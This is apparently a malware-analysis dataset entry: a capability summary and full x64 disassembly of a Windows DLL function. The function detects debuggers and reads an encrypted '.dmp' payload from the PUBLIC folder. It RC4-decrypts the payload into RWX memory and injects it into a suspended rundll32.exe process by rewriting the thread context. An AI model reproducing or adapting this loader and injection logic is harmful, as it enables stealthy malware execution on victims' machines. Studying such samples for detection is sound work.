Function at 0x180001960
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Get file size
Query environment variable
Read file on windows
Resume thread
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x630]
sub rsp, 0x730
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x620], rax
xor r14d, r14d
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x18000137e
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r8d, 0x104
lea rdx, [rbp + 0x510]
lea rcx, str.PUBLIC
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
xorps xmm0, xmm0
movups xmmword [rsp + 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x60], xmm1
lea rax, [rbp + 0x510]
mov rbx, 0xffffffffffffffff
inc rbx
cmp byte [rax + rbx], r14b
jne 0x1800013b7
movabs rdi, 0x7fffffffffffffff
cmp rbx, rdi
ja 0x18000193a
cmp rbx, 0xf
ja 0x180001405
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], 0xf
mov r8, rbx
lea rdx, [rbp + 0x510]
lea rcx, [rsp + 0x50]
call fcn.1800110e0
mov byte [rsp + rbx + 0x50], r14b
jmp 0x1800014a0
mov rax, rbx
or rax, 0xf
cmp rax, rdi
jbe 0x18000143e
movabs rax, 0x8000000000000000
add rax, 0x27
mov rcx, rax
call fcn.180001ea4
test rax, rax
je 0x180001940
lea rsi, [rax + 0x27]
and rsi, 0xffffffffffffffe0
mov qword [rsi - 8], rax
jmp 0x18000147b
mov rdi, rax
mov ecx, 0x16
cmp rax, rcx
cmovb rdi, rcx
lea rcx, [rdi + 1]
test rcx, rcx
jne 0x18000145b
mov rsi, r14
jmp 0x18000147b
cmp rcx, 0x1000
jb 0x180001473
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x18000192e
jmp 0x18000141f
call fcn.180001ea4
mov rsi, rax
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x60], rbx
mov qword [rsp + 0x68], rdi
mov r8, rbx
lea rdx, [rbp + 0x510]
mov rcx, rsi
call fcn.1800110e0
mov byte [rsi + rbx], r14b
mov rcx, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov rax, rdx
sub rax, rcx
cmp rax, 0x11
jb 0x1800014f1
lea rax, [rcx + 0x11]
mov qword [rsp + 0x60], rax
lea rbx, [rsp + 0x50]
cmp rdx, 0xf
cmova rbx, qword [rsp + 0x50]
add rbx, rcx
mov r8d, 0x11
lea rdx, str._rVoRCUsMZ2a4.dmp
mov rcx, rbx
call fcn.1800110e0
mov byte [rbx + 0x11], 0
lea rax, [rsp + 0x50]
jmp 0x180001509
mov qword [rsp + 0x20], 0x11
mov edx, 0x11
lea rcx, [rsp + 0x50]
call fcn.180001bb0
xorps xmm0, xmm0
movups xmmword [rbp - 0x50], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x40], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x68]
cmp rdx, 0xf
jbe 0x180001573
inc rdx
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000156e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001946
call fcn.180001e70
movdqa xmm0, xmmword [0x180019a30]
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x50], 0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.CreateFileA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0xf
cmova rcx, qword [rbp - 0x50]
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov edx, 0x80000000
mov r8d, 1
call rax
mov rbx, rax
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.VirtualProtect
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.VirtualAlloc
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [rbp - 0x78], 0x1000
mov edx, 0x100000
xor ecx, ecx
mov r9d, 0x40
mov r8d, 0x1000
call rax
mov rsi, rax
test rax, rax
jne 0x1800016a8
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x18000167c
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001677
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001934
call fcn.180001e70
mov rcx, qword [rbp + 0x620]
xor rcx, rsp
call fcn.180001e50
lea r11, [rsp + 0x730]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
mov qword [rsp + 0x20], r14
lea r9, [rbp - 0x78]
mov r8d, 0x100000
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180001641
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
mov r8d, 8
lea rcx, [rbp - 0x70]
call fcn.1800011d0
test edi, edi
je 0x180001795
mov r10, rsi
mov rbx, rdi
nop dword [rax]
mov edx, dword [rbp - 0x58]
inc edx
and edx, 0x800000ff
jge 0x180001717
dec edx
or edx, 0xffffff00
inc edx
mov dword [rbp - 0x58], edx
movsxd rax, edx
mov r11, qword [rbp - 0x70]
mov eax, dword [r11 + rax*4]
add eax, dword [rbp - 0x54]
and eax, 0x800000ff
jge 0x180001738
dec eax
or eax, 0xffffff00
inc eax
mov dword [rbp - 0x54], eax
movsxd rcx, eax
lea r9, [r11 + rcx*4]
movsxd rcx, edx
lea rdx, [r11 + rcx*4]
mov r8d, dword [rdx]
movsxd rcx, eax
mov eax, dword [r11 + rcx*4]
mov dword [rdx], eax
mov dword [r9], r8d
movsxd rax, dword [rbp - 0x54]
movsxd rcx, dword [rbp - 0x58]
mov r8, qword [rbp - 0x70]
mov edx, dword [r8 + rax*4]
add edx, dword [r8 + rcx*4]
and edx, 0x800000ff
jge 0x18000177e
dec edx
or edx, 0xffffff00
inc edx
movsxd rax, edx
mov ecx, dword [r8 + rax*4]
xor byte [r10], cl
inc r10
sub rbx, 1
jne 0x180001700
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x2c], xmm0
movups xmmword [rbp - 0x1c], xmm0
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
mov dword [rbp + 0x34], eax
mov dword [rbp - 0x30], 0x44
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x44
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
lea rdx, str.rundll32.exe
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x18000188a
mov dword [rbp + 0x70], 0x10003
lea rdx, [rbp + 0x40]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rdi
xor edx, edx
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
mov qword [rsp + 0x20], r14
mov r9, rdi
mov r8, rsi
mov rdx, rax
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov qword [rbp + 0x138], rbx
lea rdx, [rbp + 0x40]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp - 0x70]
test rcx, rcx
je 0x1800018e9
mov rax, qword [rbp - 0x60]
sub rax, rcx
sar rax, 2
lea rdx, [rax*4]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800018d8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001928
call fcn.180001e70
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x60], r14
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x18000167c
inc rdx
mov rcx, qword [rbp - 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001677
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180001934
jmp 0x180001677
call fcn.180007c9c
nop
call fcn.180001110
int3
call fcn.180007c9c
int3
call fcn.1800011b0
int3
call fcn.180007c9c
nop
call fcn.180007c9c
int3
jmp 0x180001330